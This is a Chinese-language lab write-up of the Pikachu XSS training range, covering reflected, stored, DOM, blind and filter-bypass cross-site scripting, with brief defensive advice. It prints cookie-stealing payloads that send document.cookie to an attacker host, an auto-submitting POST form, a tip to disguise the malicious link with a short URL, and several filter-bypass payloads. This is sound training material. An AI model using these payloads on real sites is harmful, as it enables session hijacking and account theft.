本文已参与「新人创作礼」活动,一起开启掘金创作之路。
1、XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端层叠样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为以下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
2、反射型XSS(get)
1、打开网址,发现输入什么,就返回什么,典型的xss漏洞场景
2、进行弹窗测试,发现限制了输入字符的长度,查看源代码,发现是在前端页面做了限制,
修改maxlength=""的值,就可以绕过限制
3、成功执行弹窗代码
<script>alert("XSS")</script>
4、我们将url复制,新建窗口打开,仍然可以弹窗
url:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=submit
5、通过弹窗获取cookie
<script>alert(document.cookie)</script>
6、利用反射型xss获取cookie
现在虚拟机中安装pikachu和pikachuXSS后台
攻击者IP:192.168.146.130
靶机:本地
payload:<script>document.location='http://192.168.146.130/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
获取登录者cookie
将整个url作为恶意链接(可以进行伪装,如短网址),诱导用户点击,获取用户cookie(有一定限制)
http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.146.130%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
转换后:http://gz3wt.cn/qkLsk
注:含有localhost会显示转换不成功
转换短网址
7、反射型xss防范
1.对用户的输入进行合理验证(如年龄只能是数字),对特殊字符(如<、>、'、"以及 <script>、javascript 等进行过滤。
2.根据数据将要置于 HTML上 下文中的不同位置(HTML 标签、HTML 属性、JavaScript 脚本、CSS、URL),对所有不可信数据进行恰当的输出编码。
3.设置 HttpOnly 属性,避免攻击者利用跨站脚本漏洞进行 Cookie 劫持攻击。
3、反射型XSS(post)
1、通过测试,发现可以弹窗
2、但是是post提交,没有在url显示,通过bp抓包查看,发现在请求包中有提交的代码
3、并且弹窗脚本被嵌入p标签中并被成功执行
4、搭建一个自己的站点,然后在网站上放一个post表单
将存放post表单的链接发送给用户,用户点击链接后这个post表单会自动向漏洞服务器提交一个post请求,获取用户的cookie,并发送给我们搭建的站点
这里利用pikachu平台自带的post.html,通过修改来达到我们的目的
post.html
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php"> /*存在漏洞的网站*/
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/> /*接收cookie的网站地址*/
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->
恶意链接
http://192.168.146.130/pikachu/pkxss/xcookie/post.html
5、在pikachuXSS后台获取到cookie
4、存储型XSS
1、打开页面,发现是留言框,典型的存储型xss可能存在的场景,输入留言,测试特殊字符,发现没有没过滤
2、直接测试弹窗代码,可以正常执行,并且代码被存储在网页源码中,每次访问都会执行
5、DOM型XSS
1、DOM
2、大佬的文章
3、输入123,点击提后,会显示what do you see
3、查看网页源码
getElementId:返回带有指定id的
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
"what do you see?"; 代码的意思为将输入的str拼接到href属性,本来href指向一个url,但是如果将
“#”符号作为某物的href,意味着它不是指向不同的URL,而是指向同一页上的另一个id或name标记,构造测试代码
#' onclick="alert('XSS')" 拼接之后
<a href='#' onclick="alert('XSS')" '>what do you see?</a>
4、提交测试代码,点击 what do you see?执行测试代码,产生弹窗,和反射型xss差不多
6、DOM型xss-x
1、输入相同的payload,发现会多产生一行字,点击第二次显示的字才能执行测试代码
2、查看源代码
函数 domxss
使用window.location.search获取url的赋值值给str,
经过url解码,取出的内容赋值给txss
将txss里的"+"替换为空赋值给xss
第一次点击跳转到domxss()函数
第二次点击执行<a href='"+xss+"'>
3、提交测试代码,点击两次,执行代码
7、XSS之盲打
1、提交留言后没有在页面上显示,但是显示看法已经收到
2、提示后台登录地址,登录后台发现执行了测试代码
测试代码
<script>alert("XSS")</script>
8、XSS之过滤
1、测试过滤了哪些字符
2、发现“<>" " ,”字符没有被过滤,script被过滤了。尝试双写绕过和大小写绕过,发现大小写绕过可以顺利执行代码
3、也可以用image标签绕过
<img src=0 onerror="alert(document.cookie)">
9、XSS之htmlspecialchars
1、什么是htmlspecialchars
2、htmlspecialchars的用法
htmlspecialchars(string,flags,character-set,double_encode)
3、先输入666测试,发现直接是666进行拼接
3、测试哪些字符被转换成html实体,输入'<666>",发现<> "都被转换成html实体(必须输入单引号开头的字符才能被转换,为什么?)
4、通过单引号来构造测试代码
' onclick=alert("XSS")
输入: ' onclick='alert("XSS")' 点击触发xss
输入:' onmouseover='alert("XSS")' 触发xss
输入: ' onmouseover='javascript:alert("XSS")' 触发xss
5、点击显示的测试代码,执行弹窗操作
9、XSS之herf输出
1、查看源代码,当我们输入的内容是www.baidu.com,显示“我靠,我真想不到你是这样的一个人”,当输入的内容不是www.baidu.com时候,对我们的输入转换成html编码,包含转换“'”
2、在 a 标签的href属性中,可以用javascript协议来执行JS,构造Payload,不含被转义的字符
javascript:alert('XSS')
10、XSS之js输出
1、查看源码,如果输入等于tmac,就显示图片
2、输入666,查看源码,搜索‘666’
发现666被擦汗如到中,尝试构造闭合
1、那么可以闭合单引号,注入alert(1),再用//注释掉后面的单引号和分号。
2、也可以 闭合单引号注入alert(1),再自建script标签进行闭合
666';alert("XSS")//
';alert("XSS");</script> //